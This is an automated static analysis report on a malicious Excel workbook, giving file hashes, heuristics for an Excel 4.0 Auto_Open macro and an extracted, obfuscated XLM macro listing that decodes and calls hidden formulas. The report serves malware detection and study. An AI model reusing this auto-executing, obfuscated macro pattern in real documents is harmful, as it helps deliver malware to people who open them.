Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2708bff876a7fed…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:15 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: a3969a05f75757a974ba3db64919b7cd SHA-1: 57951e06981bc9f0ed68a451e5fbcdb6cea1703a SHA-256: f2708bff876a7fedda3c9c13e7d599e0e9414c88f2366b78f797ca21453ecfb5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6715 bytes
SHA-256: caf69d36ce720616e67e6658678f86c946ac4852e5dc385ace4284470745044e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qievtuz
' 0018     25 LABEL : Cell Value, String Constant - AddilXeuIq len=0 
' 0018     20 LABEL : Cell Value, String Constant - AHNSC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B185 
' 0018     23 LABEL : Cell Value, String Constant - aWpnFfmy len=0 
' 0018     25 LABEL : Cell Value, String Constant - bXQUpONTSH len=0 
' 0018     25 LABEL : Cell Value, String Constant - fzPJmXLDkz len=0 
' 0018     22 LABEL : Cell Value, String Constant - gdxJVWy len=0 
' 0018     26 LABEL : Cell Value, String Constant - gHdcoaeyzAF len=0 
' 0018     26 LABEL : Cell Value, String Constant - gNSKqOzSVnp len=0 
' 0018     23 LABEL : Cell Value, String Constant - hVYLEikG len=0 
' 0018     25 LABEL : Cell Value, String Constant - iilNiONMQU len=0 
' 0018     21 LABEL : Cell Value, String Constant - kGyIqO len=0 
' 0018     26 LABEL : Cell Value, String Constant - PAKBTSbRMLO len=0 
' 0018     26 LABEL : Cell Value, String Constant - QFfbpHOWsxN len=0 
' 0018     27 LABEL : Cell Value, String Constant - QGslisgfBEyH len=0 
' 0018     20 LABEL : Cell Value, String Constant - SvOAW len=0 
' 0018     23 LABEL : Cell Value, String Constant - wbvtNVTQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - wJWkYDypa len=0 
' 0018     23 LABEL : Cell Value, String Constant - WnPbqFzQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - wsGBiBrp len=0 
' 0018     20 LABEL : Cell Value, String Constant - XxRCo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qievtuz,S93,"",-280.00000000000000000000
'  qievtuz,B94,"SET.NAME("wsGBiBrp",0+VALUE("0"))",""
'  qievtuz,S94,"",918.00000000000000000000
'  qievtuz,S95,"",428.00000000000000000000
'  qievtuz,S96,"",759.00000000000000000000
'  qievtuz,S97,"",71.00000000000000000000
'  qievtuz,B98,"SET.NAME("gdxJVWy",wsGBiBrp)",""
'  qievtuz,S98,"",-738.00000000000000000000
'  qievtuz,B100,"SET.NAME("wJWkYDypa",wsGBiBrp)",""
'  qievtuz,B104,"SET.NAME("QFfbpHOWsxN",COUNTA(wbvtNVTQ))",""
'  qievtuz,B109,"SET.NAME("gHdcoaeyzAF",COUNTA(XxRCo))",""
'  qievtuz,B114,[],""
'  qievtuz,B116,"SET.NAME("hVYLEikG","")",""
'  qievtuz,B118,"gdxJVWy",""
'  qievtuz,B122,"SET.NAME("kGyIqO",HLOOKUP("*",wbvtNVTQ,gdxJVWy,FALSE))",""
'  qievtuz,B127,"iilNiONMQU",""
'  qievtuz,B129,"SET.NAME("WnPbqFzQ",wsGBiBrp)",""
'  qievtuz,B132,[],""
'  qievtuz,B134,"WnPbqFzQ",""
'  qievtuz,B139,"aWpnFfmy",""
'  qievtuz,B143,"fzPJmXLDkz",""
'  qievtuz,B145,"AddilXeuIq",""
'  qievtuz,B149,"SET.NAME("PAKBTSbRMLO",VALUE(HLOOKUP("*",XxRCo,AddilXeuIq,FALSE)))",""
'  qievtuz,B152,"AHNSC",""
'  qievtuz,B157,"hVYLEikG",""
'  qievtuz,B161,"wJWkYDypa",""
'  qievtuz,B165,NEXT(),""
'  qievtuz,B167,"SvOAW",""
'  qievtuz,B170,[],""
'  qievtuz,B174,"bXQUpONTSH",""
'  qievtuz,B179,NEXT(),""
'  qievtuz,B181,RETURN(),""
'  qievtuz,B204,"SET.NAME("QGslisgfBEyH",B94)",""
'  qievtuz,B207,"wbvtNVTQ",""
'  qievtuz,B211,"SET.NAME("XxRCo",R46C13)",""
'  qievtuz,B213,"SET.NAME("bXQUpONTSH",220)",""
'  qievtuz,B215,"SET.NAME("gNSKqOzSVnp",2)",""
'  qievtuz,B219,QGslisgfBEyH(),""
'  qievtuz,B220,HALT(),""

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